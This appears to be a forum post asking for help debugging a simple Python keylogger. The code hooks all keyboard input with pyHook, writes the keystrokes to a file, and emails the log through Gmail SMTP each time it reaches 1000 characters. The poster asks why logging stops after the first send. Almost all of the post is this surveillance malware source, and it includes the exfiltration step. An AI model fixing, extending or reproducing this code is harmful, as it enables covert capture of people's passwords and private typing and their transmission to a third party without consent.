I am working on simple keylogger -
import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True
def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
f.close()
f = open(path,"w")
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
It shoud save logs to file and send to email when lenght of file is 1000. Then log is cleared and again when lenght is 1000 its mailed etc. But this code is not working, file is sended at 1000, cleared, but not logging again. Where is problem? Thanks